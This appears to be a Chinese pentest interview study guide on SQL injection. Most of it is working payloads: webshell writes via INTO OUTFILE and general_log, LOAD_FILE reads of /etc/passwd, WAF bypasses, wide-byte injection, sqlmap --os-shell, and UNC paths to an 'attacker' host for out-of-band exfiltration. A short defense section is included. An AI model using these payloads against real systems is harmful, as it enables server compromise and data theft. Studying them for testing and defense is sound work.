2025年渗透测试面试题总结-02(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
SQLi
一、获取Webshell的多种思路(针对test.jsp?cid=150 )
二、变形注入绕过技巧
三、MySQL写入一句话的条件
四、MySQL 5.0+与5.0-注入差异
五、SQLMap实战注入方法
六、SQL注入Bypass技巧
七、SQL注入全解析
八、宽字节注入原理与利用
九、SQL注入检测方法
SQLi
发现 test.jsp?cid=150 注入点,你有哪几种思路获取 webshell? 以下链接存在 SQL注入漏洞,对于这个变形注入,你有什么思路? mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? Mysql的网站注入,5.0以上和5.0以下有什么区别? sqlmap如何对一个注入点注入,sqlmap如何注入一个post的包? 你都了解哪些SQL注入的bypass技巧? 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案? 如何判断SQL注入,有哪些方法,说说你最常用的?一、获取Webshell的多种思路(针对
test.jsp?cid=150)
直接写入Webshell
sql?cid=150'; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--+条件:
- MySQL用户需具备
FILE权限- 已知Web绝对路径(可通过
@@datadir推测)secure_file_priv未限制写入目录日志文件篡改
sql?cid=150'; SET global general_log_file='/var/www/html/log.php'; SET global general_log=on; SELECT '<?php system($_GET[cmd]);?>';--+原理:将SQL日志写入Web目录并包含恶意代码。
UNION注入读取敏感文件
sql?cid=-150 UNION SELECT LOAD_FILE('/etc/passwd'),2,3--+目的:获取配置文件(如
/etc/apache2/sites-enabled/000-default.conf)定位Web路径。
二、变形注入绕过技巧
变形类型 绕过方案 Payload示例 Base64编码 嵌套解码函数 ?id=MQ==' UNION SELECT 1,2,3 FROM users WHERE '1'='1→ 后端解码后执行JSON包装 闭合JSON结构 {"id":"1' AND 1=2 UNION SELECT @@version,2-- "}特殊字符过滤 等价函数替换 SELSELECTECT→ 双写绕过(过滤SELECT)
三、MySQL写入一句话的条件
- 核心权限:
SHOW VARIABLES LIKE 'secure_file_priv'值为空或目标路径SELECT File_priv FROM mysql.user WHERE user='当前用户'=Y- 路径要求:
- 通过报错/配置文件泄露获取Web绝对路径
- 目录需有写权限(Linux:
www-data用户权限)- 语句构造:
sqlUNION SELECT "<?php system($_GET['cmd']);?>",2,3 INTO OUTFILE '/var/www/shell.php'--+
四、MySQL 5.0+与5.0-注入差异
特性 5.0以下 5.0以上 信息获取 暴力猜解表名/列名 直接查询 information_schemaPayload复杂度 需盲注或基于错误 可UNION联合查询 函数支持 无 group_concat()等函数支持丰富函数
五、SQLMap实战注入方法
GET型注入:
bashsqlmap -u "http://target.com/test.jsp?cid=150" --batch --dbsPOST型注入:
- 保存请求包为
post.txt:httpPOST /login.jsp HTTP/1.1 ... username=admin&password=123- 执行:
bashsqlmap -r post.txt -p "username" --os-shell
六、SQL注入Bypass技巧
防御方式 绕过方案 案例 关键字过滤 大小写混合/URL编码 UnIoN→%55%6E%69%6F%6EWAF规则 分块传输/注释混淆 /*!50000SELECT*/(MySQL特性)参数类型 数组参数污染 ?id=1&id=2 UNION SELECT 1,2,3--
七、SQL注入全解析
漏洞成因:
用户输入未过滤直接拼接到SQL语句(如:"SELECT * FROM users WHERE id=" + input)。防御方案:
- 参数化查询:
PreparedStatement绑定参数- 最小权限原则:数据库账户禁用
FILE/EXECUTE权限- WAF规则:过滤
UNION、SELECT等关键字注入方式:
- 报错注入:
?id=1' AND updatexml(1,concat(0x7e,@@version),1)--- 布尔盲注:
?id=1' AND SUBSTRING(@@version,1,1)='5'--- 时间盲注:
?id=1' AND IF(1=1,SLEEP(5),0)--进阶利用:
- 读取文件:
UNION SELECT LOAD_FILE('/etc/passwd'),1,1- SSRF攻击:
?id=1'; SELECT LOAD_FILE('\\\\attacker\\share')--
八、宽字节注入原理与利用
原理:
GBK等编码中,%df%27→%df+'(0x27)被解析为汉字“運”(0xdf5c),使单引号逃逸。Payload构造:
sql?cid=150%df%27 AND 1=2 UNION SELECT 1,@@version,3--+修复方案:
- 统一使用UTF-8编码
- 过滤前执行
mysql_set_charset('utf8')
九、SQL注入检测方法
- 经典报错法:
sql?id=150' # 观察是否返回数据库错误信息- 布尔逻辑法:
sql?id=150 AND 1=1 # 正常显示 ?id=150 AND 1=2 # 内容消失- 时间延迟法(最隐蔽):
sql?id=150' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--+- 工具扫描法:
bashsqlmap -u "url" --level=3 --risk=3
实战经验提示:
- MySQL 5.0+优先利用
information_schema快速获取表结构- 写入Webshell时尝试多路径(如
/tmp/、/var/www/html/、/opt/)- 遇WAF必用
--tamper脚本(推荐charencode.py、apostrophemask.py)- 无写权限时转向SMB中继攻击或DNS带外数据泄露(
LOAD_FILE('\\\\attacker\\test'))
